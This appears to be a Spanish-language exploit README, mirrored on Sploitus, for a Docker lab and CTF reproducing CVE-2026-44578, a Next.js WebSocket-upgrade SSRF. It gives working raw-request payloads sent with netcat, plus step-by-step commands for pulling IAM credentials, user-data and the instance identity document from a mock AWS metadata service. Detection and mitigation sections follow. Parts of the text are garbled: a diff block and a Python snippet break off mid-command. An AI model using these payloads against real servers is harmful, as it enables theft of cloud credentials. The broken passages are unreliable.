Sploitus

Exploit for Server-Side Request Forgery in Vercel Next.Js

githubexploit · 2026-09-06

Exploit Code

README294 lines
## https://sploitus.com/exploit?id=E8810890-D746-5112-B911-C579AD782386
# CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Laboratorio)

Laboratorio autocontenido para reproducir la vulnerabilidad **CVE-2026-44578**
(CWE-918, SSRF) en aplicaciones **Next.js self-hosted** que usan el servidor
Node.js integrado.

| Campo | Valor |
|---|---|
| CVE | [CVE-2026-44578](https://nvd.nist.gov/vuln/detail/CVE-2026-44578) |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | **8.6 HIGH** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`) |
| Tipo | SSRF (CWE-918) |
| Versiones afectadas | Next.js 13.4.13 – 15.5.15 y 16.0.0 – 16.2.4 |
| Versiones parcheadas | 15.5.16 y 16.2.5 |
| Autenticación | ninguna |
| Interacción de usuario | ninguna |

## Topología del laboratorio

```
Atacante (host: 0.0.0.0)
    │  HTTP :3000 (público)
    ▼
┌──────────────────────────┐  mismo namespace de red  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (credenciales,      │
│ (servidor Node integrado)│                           │  user-data, índice) │
└──────────────────────────┘                           └─────────────────────┘
```

- **`nextjs-vuln`** (puerto `3000`): la app vulnerable, expuesta a `0.0.0.0:3000`.
- **`imds-sidecar`**: mock del metadata service de AWS que vive en
  `localhost:80` **dentro** del namespace del container de Next.js, modelando
  una instancia real en la nube. No es alcanzable desde el host directamente
  (no hay puerto publicado).

```
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC automatizado (5 probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + rutas secretas
                        └── nextjs-app/             # App realista "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # next@15.5.0 (vulnerable)
```

## Por qué es vulnerable

El upgrade handler de WebSocket en `router-server.ts` llama a `proxyRequest()`
cuando el URI parseado tiene `parsedUrl.protocol`, **sin** verificar los flags
`finished` y `statusCode` que el handler HTTP normal siempre emitió:

```diff
  // vulnerable ( HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
```

La presencia de las cabeceras `Connection: Upgrade` + `Upgrade: websocket` hace
que el request caiga en el handler de upgrade vulnerable en vez del handler
HTTP con las verificaciones de seguridad.

## Levantar el laboratorio

```bash
docker compose up -d --build
```

Verificar que la app responde:

```bash
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
```

Para dejarlo funcionando en `0.0.0.0`, el mapeo de puertos en
`docker-compose.yml` ya expone `3000:3000` en todas las interfaces.

## Explotación manual

### 1. Usando netcat (`nc`)

```bash
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
```

### 2. Usando Python puro (stdlib, sin dependencias)

```bash
python3 -  **Reto CTF:** hay **4 flags**, y cada uno es un **artefacto real** de la
> cadena de explotación SSRF contra AWS: (1) user-data del boot, (2)
> credenciales IAM, (3) identity document, (4) config de un servicio interno.
> Sus valores **no están publicados**. Navega los índices (`/` → `latest/` →
> …) y seguirás de banner en banner; el script de user-data te dice dónde
> vive el cuarto. No hay que adivinar rutas: el 404 solo te delata que estás
> inventando un path que no existe.

## Guía de resolución (spoilers graduales)

> Versión completa con la cadena flag→flag en su propio documento:
> **[SOLUCION.md](SOLUCION.md)** (cada flag te da la pista del siguiente,
> fuera de este README).

**La regla:** cada flag tiene una pista, una **traba** y la solución. Primero
intenta con la pista; usa la traba cuando estés atascado. No hay rutas
ocultas: nadie falaza, todo se navega.

**Dos avisos antes de empezar:**

1. **El helper `ssrf()` ya está listo** en **[SOLUCION.md](/SOLUCION.md) →
   Preparación**: cópialo y úsalo para el resto de la guía. Envía un request
   `GET http:///` con `Connection: Upgrade` + `Upgrade: websocket`.
2. **Los flags viajan cifrados en base64.** En las respuestas verás blobs
   `RkxBR3…` (base64 de `FLAG{…}`). Descifralos:
   `echo  | base64 -d`.

### Flag 1 — user-data (el más fácil)

- **Pista:** ¿qué devuelve un GET a `/latest/user-data`? Es lo primero que
  comprueba cualquier atacante en AWS.
- **Traba 1 (índices 301):** las carpetas se listan con `/` al final.
  `ssrf latest/meta-data` te da `301 Moved Permanently` y `Location:
  latest/meta-data/`. = "Sígueme". Con nc no hay seguir automático: repite el
  pedido **con el slash**.
- **Solución:**

```bash
ssrf latest/user-data
```

En el body: el script de booteo con `DB_PASS=…` (**Flag 1** está ahí dentro),
y una línea `curl -s http://internal/config` que es el mapa del Flag 4.

### Flag 2 — credenciales IAM

- **Pista:** navega `latest/meta-data/iam/security-credentials/` y pide el rol
  que aparece.
- **Traba 2 (el `Token` no es relleno):** el `200` trae un JSON largo.
  `AccessKeyId`/`SecretAccessKey` saltan a la vista; el **Flag 2 no está
  ahí**: el campo `Token` es una sola cadena base64. Descifrala.
- **Solución:**

```bash
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
```

### Flag 3 — identity document

- **Pista:** `latest/meta-data/` no es el único árbol. Mira el índice raíz:
  hay un `dynamic/` que casi nadie abre.
- **Traba (redirección encadenada):** `dynamic/` → `instance-identity/` →
  `document`. Son tres escalones; en cada uno tu `ssrf` debe terminar en `/`
  (excepto `document`). Gente se pierde por no re-solicitar tras el 301.
- **Solución:**

```bash
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
```

El JSON de identidad incluye una **clave `FLAG`** con el Flag 3 (en base64).
Si tu serie de comandos devolvió `301` en el segundo escalón, agárrrate la
lección de la Traba 1.

### Flag 4 — config de un servicio interno

- **Pista:** el Flag 1 (user-data) confesaba la dirección: `curl -s
  http://internal/config`.
- **Traba (¿qué es "internal"?):** desde el atacante `internal` no resuelve.
  "internal" es un alias **del lado del servidor**, no tuyo. No cambias el
  host: el SSRF siempre aterriza en `localhost:80`; solo eliges el **path**.
- **Solución:**

```bash
ssrf internal/config
```

Verificación de los 4 (blob base64 → decodificado):

```bash
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
```

4/4 flags en mano. Si alguno no te sale `FLAG{...}`, ya sabes: revisa el
curl de user-data (traba del Flag 4) o el `/` de los índices (traba del Flag 1).

Uso manual, por ejemplo credenciales IAM:

```bash
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
```

Resultado esperado — la respuesta llega con `server: BaseHTTP/0.6 Python/3.12.x`
(el mock), **no** con el banner de Next.js, lo que prueba que la petición fue
hecha por el servidor hacia `localhost:80`:

```http
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
```

## Resultado del PoC

El PoC verifica el SSRF pero **censura los flags**: los blobs base64 de los
`FLAG{...}` y los `FLAG{...}` en claro se muestran como texto censurado. Los
valores solo se obtienen por exploración manual (sección CTF de arriba).

```
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag cifrado: explotacion manual) ***
```

## Limitaciones de la vulnerabilidad

- **Solo GET** (no POST/PUT).
- **Solo puerto 80** (el hostname se pierde en la normalización de `http:///`).
- **IMDSv2** no explotable (requiere PUT para el token).
- **Metadata de GCP** no explotable (rechaza `Upgrade: websocket` con 400).
- **Vercel-hosted** no afectado.
- Detrás de un reverse proxy (nginx/Caddy/HAProxy) las URIs absolutas suelen
  bloquearse.

## Verificación de "parcheado"

Para confirmar que el parche (Next.js ≥ 15.5.16) bloquea el ataque, cambia la
versión en `nextjs-app/package.json` a `15.5.16`, reconstruye y re-ejecuta el
mismo payload: la conexión se cierra sin devolver datos.

## Detección

Firmas en logs del proceso Next.js:

- `Failed to proxy http:/` — el proxy se disparó pero el destino era inalcanzable.
- Requests cuya request line contiene un URI absoluto con `http:` junto a
  cabeceras `Connection: Upgrade` / `Upgrade: websocket`.

## Mitigación

- Actualizar a **15.5.16 / 16.2.5** o posterior.
- Si no se puede actualizar: bloquear upgrades de WebSocket en el proxy inverso
  y aplicar IMDSv2 (`HttpTokens=required`) en AWS.
- Ejemplo nginx para rechazar URIs absolutas:

```nginx
if ($request_uri ~* "^https?://") { return 400; }
```

## Referencias

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
- GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
- Fix commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8# CVE-2026-44578-next-js-ssrf
# CVE-2026-44578-next-js-ssrf
# CVE-2026-44578-next-js-ssrf